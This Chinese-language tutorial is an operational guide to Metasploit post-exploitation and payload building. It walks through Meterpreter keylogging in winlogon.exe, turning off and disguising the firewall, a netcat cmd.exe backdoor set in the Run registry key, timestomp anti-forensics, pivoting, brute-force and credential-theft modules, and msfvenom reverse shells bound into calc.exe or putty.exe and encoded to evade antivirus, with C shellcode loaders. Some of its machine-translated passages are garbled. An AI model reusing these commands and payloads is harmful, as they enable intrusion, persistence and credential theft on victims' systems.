Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。
首先,我们需要使用“ps”命令查看目标设备中运行的进程:
接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。
绑定完成之后,我们就可以开始捕获键盘数据了:
接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录:
等待片刻之后,使用keyscan_dump命令导出记录信息:
捕捉到的用户密码为trustno1
23.通过其 shell 来关闭防火墙
netsh adcfirewall set allprofiles state off
我们打开防火墙配置查看防火墙已成功被我们关闭!
但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。
netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL
伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!
24.利用注册表添加 NC 后门
1.上传 NC 到目标系统:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
2.枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
3.在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”
4.查看内容是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
25.基于MACE时间的反电子取证
timestomp -v secist.txt #查看当前目标文件 MACE 时间。
timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)
timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)
timestomp -v secist.txt
26.内网代理
meterpreter > run autoroute -s 192.168.1.0/24
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
msf auxiliary(tcp) > exploit
meterpreter > background
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > route print
msf auxiliary(socks4a) > ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'
msf auxiliary(socks4a) > exploit
27.SSH代理
msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to [email protected]:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1
之后就是愉快的内网扫描了
当然还是推荐直接用
ssh -f -N -D 127.0.0.1:6666 [email protected]
28.内网扫描
meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit
我还是推荐开代理用Nmap扫描>.<
29.一些常用的破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
30.一些好用的模块
auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)
auxiliary/scanner/rsync/modules_list (Rsync)
auxiliary/scanner/misc/redis_server (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))
在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用
我看网上没有详细介绍常见脚本功能的文章,就总结了一下
我们可以通过run 脚本名来进行使用
run 脚本名 -h可以查看帮助
1.arp_scanner
利用arp进行存活主机扫描
run arp_scanner-r 192.168.1.0/24
2.autoroute
可以添加,删除,显示路由表
3.checkvm
可以检测目标是否是虚拟机
4.credcollect
收集目标主机上的hash等凭证
5.domain_list_gen
获取域管理账户列表,并判断当前session所在用户是否在列表中
6.dumplinks
Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件
调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
命令:run post/windows/gather/dumplinks
效果如下图:
7.duplicate
再次产生payload,注入到其他进程或打开新进程并注入其中
8.enum_chrome
获取chrome中的信息
9.enum_firefox
获取firefox中的信息,包括cooikie,历史纪录,书签等
10.enum_logged_on_users
列出当前登录的用户
11.enum_powershell_env
列出powershell和WSH的配置文件
12.enum_putty
列出putty的配置文件
13.enum_shares
列出共享及历史共享
14.enum_vmware
列出vmware的配置文件和产品
15.event_manager
可以查询和清理事件日志
16.file_collector
搜索符合指定模式的文件
17.get_application_list
获取安装的程序列表及版本
18.getcountermeasure
列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略
Ps:-k参数可以杀掉防护软件进程
19.get_env
获取所有用户的环境变量
20.get_filezilla_creds
获取filezilla的登陆凭证
21.getgui
可以很方便的开启远程桌面服务,添加用户,端口转发功能
22.get_local_subnets
获得本地的子网
23.get_pidgin_creds
获取pidgin配置文件中的用户名和密码
24.gettelnet
同之前开启终端桌面服务的脚本,这个是用来开启telnet的
25.get_valid_community
获取SNMP community字符串
26.getvncpw
获取vnc密码
27.hashdump
同meterpreter的内置功能
28.hostsedit
操作hosts文件
29.keylogrecorder
Meterpreter内置此功能
30.killav
关闭防护软件
31.metsvc
将payload安装为服务
32. migrate
将meterpreter会话移植到另一个进程
例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法
可以先用ps命令看一下目标主机的explorer.exe进程的pid
是1668然后我们用migrate 1668 把meterpreter会话注入进去
33 .persistence
可见建立一个持久性的后门,设置成开机启动
34. service_permissions_escalate
许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
35.vnc
可以看到远程桌面
36. win32-sshserver
安装openssh服务
37. winenum
会自动运行多种命令,将命令结果保存到本地
metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听
1.msfvenom命令行选项
在kali的命令行中输入msfvenom -h就会显示其用法:
Options:
-p, --payload
-l, --list[module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled
-f, --format
-e, --encoder[encoder] 指定需要使用的encoder(编码器)
-a, --arch
--platform
-s, --space
-b, --bad-chars 设定规避字符集,比如: '\x00\xff'
-i, --iterations
-c, --add-code
-x, --template
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out
-v, --var-name
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
2.生成payload 格式说明
(1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀)
#格式
msfvenom -p
#实例
msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c
(2)经过编码器处理后生成payload
#格式
msfvenom -p
#实例
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
(3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数)
Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe
-p [指定攻击载荷名称]
生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如:
cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
#暂未测试
cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe
-f [指定payload的输出格式]
按需要的格式进行输出:
十六进制hex编码形式 \x0a,如果用python写exploit,用-f python得到python代码。如果用python写exploit,用-f c得到c代码。生成一个exe格式的payload,如:
msfvenom -p windows/meterpreter/bind_tcp -f exe
msf支持的输出格式
msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
3.options usage
查看支持的payload列表:
msfvenom -l payloads
Framework Payloads (486 total)
==============================
NameDescription
---------------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
...
查看支持的输出文件类型:
msfvenom --help-formats
查看支持的编码方式:(为了达到免杀的效果)
msfvenom -l encoders
查看支持的空字段模块:(为了达到免杀的效果)
msfvenom -l nops
4.常用的payload
1.命令格式:
msfvenom -p
Binaries:
2.Linux:
反向连接
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
正向连接
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=
3.Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
4.Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=
Web Payloads:
5.PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
6.ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
7.JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
8.WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
Scripting Payloads:
9.Python:
msfvenom -p cmd/unix/reverse_python LHOST=
10.Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=
11.Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=
Shellcode:
12.Linux Based Shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=
13.Windows Based Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
14.Mac Based Shellcode:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=
15.Handlers:
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
5.生成有效载荷格式说明
生成不经过编码的普通净荷(不编码 - >生成内容固定 - >直接被杀)
#格式
msfvenom -p
#实例
msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c
经过编码器处理后生成的有效载荷
#格式
msfvenom -p
#实例
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
捆绑到正常文件后生成有效载荷(暂未测试是否可加-e参数)
Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe
-p [指定攻击载荷名称]
生成有效负荷至少需指定-p和-f
除了自带的那些有效载荷外
-p -可指定自定义的有效载荷,如:
cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
#暂未测试
cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe
-f [指定有效载荷的输出格式]
按需要的格式进行输出:
十六进制十六进制形式编码\x0a
如果用蟒写利用,用-f python得到蟒代码。
如果用蟒写利用,用-f c得到Ç代码。
生成一个EXE格式的有效载荷,如:
msfvenom -p windows/meterpreter/bind_tcp -f exe
无国界医生支持的输出格式
msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
- 一个x64
-a x86
-a x86_64
msfvenom -p windows/meterpreter/bind_tcp --help-platform
Platforms
aix, android, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, ruby, solaris, unix, windows
-a不指定也可以,可在-p后的有效载荷名称中明确指定的建筑,如:
msfvenom -p linux/x86/exec CMD=/bin/sh
此有效载荷指定了参数CMD
查看某个有效载荷具体需要哪些参数(必需是是则必需该参数)
msfvenom -p linux/x86/exec --payload-options
对有效载荷进行编码
1.规避特殊字符-b'/ x00一个特殊字符列表'
无国界医生会自动找一个合适的编码器规避有效载荷中的这些“坏字符”:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
不同的函数,有不同的规避字符:
如获取需要就避免/x0a
如scanf函数更严格,空白不允许符
如产生一段高管的shellcode的
2.用-e选项指定编码器的编码器,如:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
默认的输出格式是原始的,直接输出有效载荷的字符(含乱码),常加参数-o写到文件中。
3.使用-i进行选项对话多次编码
迭代编码也许会有规避杀毒软件的作用英文,但这不是真正的免杀。
迭代编码例子:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
无国界医生组织中所有的编码器:
msfvenom -l encoders
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_shmanual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicarmanual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xorinormal Byte XORi Encoder
mipsbe/longxornormal XOR Encoder
mipsle/byte_xorinormal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxornormal PPC LongXOR Encoder
ppc/longxor_tagnormal PPC LongXOR Encoder
sparc/longxor_tag normalSPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/zutto_dekirumanual Zutto Dekiru
x86/add_submanual Add/Sub Encoder
x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolowermanual Avoid underscore/tolower
x86/avoid_utf8_tolowermanual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglotmanual BMP Polyglot
x86/call4_dword_xornormal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_statmanual stat(2)-based Context Keyed Payload Encoder
x86/context_timemanual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupperlow Non-Upper Encoder
x86/opt_submanual Sub Encoder (optimised)
x86/servicemanual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bitmanual Single Static Bit
x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_uppermanual Alpha2 Alphanumeric Unicode Uppercase Encoder
-x指定一个模板文件(“捆绑”payload到这个正常的可执行文件)
msfvenom使用的模板文件保存在目录msf/data/templates
-x calc.exe
捆绑有效负载到正常文件(模板文件=宿主文件=自定义的可执行文件)
使用-x选项指定你自己的模板文件(如EXE等),如:
使用窗户下的CALC.EXE作为模板文件,生成有效载荷:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的有效载荷时,输出格式必须要写-f exe-only而不能写-f exe
(请注意:如果您想创建一个带有自定义Windows的x64自定义模板,然后而不是exe格式,您应该使用exe-only :)
msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
-x选项经常和-k选项一起用,它允许您从模板中将有效载荷作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP。
(-x标志通常与-k标志配对,这使您可以将模板中的有效负载作为新线程运行。但是,目前这只适用于较旧的Windows机器,例如x86 Windows XP。)
6.payload加编码
命令格式:
msfvenom -p
常用编码:
x86/shikata_ga_nai
cmd/powershell_base64
例子:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe
如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用-e选项来使用编码模块,例如:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
可以使用下面的命令,来查看可用的编码器
msfvenom -l encoders
你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
可以使用下面的命令来进行迭代编码:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
(1)规避特殊字符 -b '/x00一个特殊字符列表'
使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
不同的函数,有不同的规避字符:
如gets就需要避免/x0a
如scanf更严格,不允许空白符
如产生一段exec的shellcode
(2)用-e选项指定编码器encoder
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe
默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到文件中。
(3)使用-i选项进行多次编码
迭代编码也许会有规避杀毒软件的作用,但这不是真正的免杀。
迭代编码 例子:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
(4)msf中所有的编码器
msfvenom -l encoders
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64excellent Powershell Base64 Command Encoder
cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicarmanual The EICAR Encoder
generic/nonenormal The "none" Encoder
mipsbe/byte_xorinormal Byte XORi Encoder
mipsbe/longxornormal XOR Encoder
mipsle/byte_xorinormal Byte XORi Encoder
mipsle/longxornormal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxornormal PPC LongXOR Encoder
ppc/longxor_tagnormal PPC LongXOR Encoder
sparc/longxor_tagnormal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/zutto_dekirumanual Zutto Dekiru
x86/add_submanual Add/Sub Encoder
x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolowermanual Avoid underscore/tolower
x86/avoid_utf8_tolowermanual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglotmanual BMP Polyglot
x86/call4_dword_xornormal Call+4 Dword XOR Encoder
x86/context_cpuidmanual CPUID-based Context Keyed Payload Encoder
x86/context_statmanual stat(2)-based Context Keyed Payload Encoder
x86/context_timemanual time(2)-based Context Keyed Payload Encoder
x86/countdownnormal Single-byte XOR Countdown Encoder
x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder
x86/nonalphalow Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_submanual Sub Encoder (optimised)
x86/servicemanual Register Service
x86/shikata_ga_naiexcellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bitmanual Single Static Bit
x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
(5)使用自定义可执行文件模板
-x 指定一个模板文件(“捆绑“payload到这个正常的可执行文件)
默认的msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:
捆绑payload到 正常文件(模板文件=宿主文件=自定义的可执行文件),使用-x选项指定你自己的模板文件(如exe等),如:使用windows下的calc.exe作为模板文件,生成payload:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的payload时,输出格式必须要写-f exe-only而不能写-f exe
msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
-x选项经常和-k选项一起用,它允许您从模板中将payload作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP.
(6)How to chain msfvenom output
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
(7)编译生成的C文件
#win x86生成c文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\x00'
#vc++6.0 编译(含buf数组的)C代码:
#include
#pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
unsignedchar buf[] =
"buf数组";//复制数组内容粘贴到此处
main()
{
((void(*)(void))&buf)();
}
#VS 编译:
main()
{
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
7.注入exe型+编码
msfvenom -p -a --plateform -e -i -x -k -f -o
测试:
> msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe
DL is deprecated, please use Fiddle
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai chosen with final size 414
Payload size: 414 bytes
Final size of exe file: 6144 bytes
Saved as: injection.exe
8.拼接型
msfvenom -c -p -a --platform -e -i -f -o
测试:
> msfvenom -c "win.exe" -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe
DL is deprecated, please use Fiddle
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Adding shellcode from win.exe to the payload
Found 1 compatible encoders
Attempting to encode payload with3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 5794 (iteration=0)
x86/shikata_ga_nai succeeded with size 5823 (iteration=1)
x86/shikata_ga_nai succeeded with size 5852 (iteration=2)
x86/shikata_ga_nai chosen with final size 5852
Payload size: 5852 bytes
Final size of exe file: 11264 bytes
Saved as: injection.exe
9.搜索
msfvenom -l | grep windows | grep x64 | grep tcp
10.绕过免杀
nops选项
> msfvenom -l nops
DL is deprecated, please use Fiddle
Framework NOPs (8 total)
========================
Name Description
---- -----------
armle/simple Simple NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator
sparc/random SPARC NOP generator
tty/generic Generates harmless padding for TTY input
x64/simple An x64 single/multi byte NOP instruction generator.
x86/opty2 Opty2 multi-byte NOP generator
x86/single_byte Single-byte NOP generator
payload生成器Veil-Evasion (免杀效果好)
https://github.com/Veil-Framework/Veil-Evasion
现在Veil 3.0
payload生成器Veil-Evasion (免杀效果好)
https://github.com/Veil-Framework/Veil-Evasion
现在Veil 3.0
11.系统架构
(1)架构
Arch:x86 是指生成的payload只能在32位系统运行
Arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统
Arch:x64 是指生成的payload只能在64位系统运行
(2)注意
有的payload的选项为多个:Arch:x86_64,x64
这里你就需要-a参数选择一个系统架构。
同时注意以下:size(大小),rank(等级),exitfunc(退出方法)
(3)统一
需要注意的是软件的架构/payload的架构/目标系统的架构
三者一定要统一(x86/x86_64/x64),否则会出错。
举例1:
举例1:
payload/windows/x64/meterpreter_reverse_tcp
> msfvenom -p windows/x64/meterpreter_reverse_tcp --payload-option
DL is deprecated, please use Fiddle
Options for payload/windows/x64/meterpreter_reverse_tcp:
Name: Windows Meterpreter Shell, Reverse TCP Inline x64
Module: payload/windows/x64/meterpreter_reverse_tcp
Platform: Windows
Arch: x64, x86_64
Needs Admin: No
Total size: 1189423
Rank: Normal
Provided by:
OJ Reeves
sf
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST yes The listen address
LPORT 4444 yes The listen port
举例2:
windows/x64/meterpreter/reverse_tcp
load/windows/x64/meterpreter/reverse_tcp:
Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
Module: payload/windows/x64/meterpreter/reverse_tcp
Platform: Windows
Arch: x86_64
Needs Admin: No
Total size: 449
Rank: Normal
Provided by:
skape
sf
OJ Reeves
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Description:
Inject the meterpreter server DLL via the Reflective
从Arch看出,第一个可以用于x64, x86_64而第二个只能x86_64。
这是需要注意的地方。
12.自选模块
生成执行计算器payload例子:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe
13.payload的坑
正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。
解决方案是vim文件,删除文件开头两行无效的内容。
1.首先生成可执行文件
root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
2.启动msfconsole,监听反连端口
root @ kali:〜#msfconsole
msf>use exploit/multi /handler
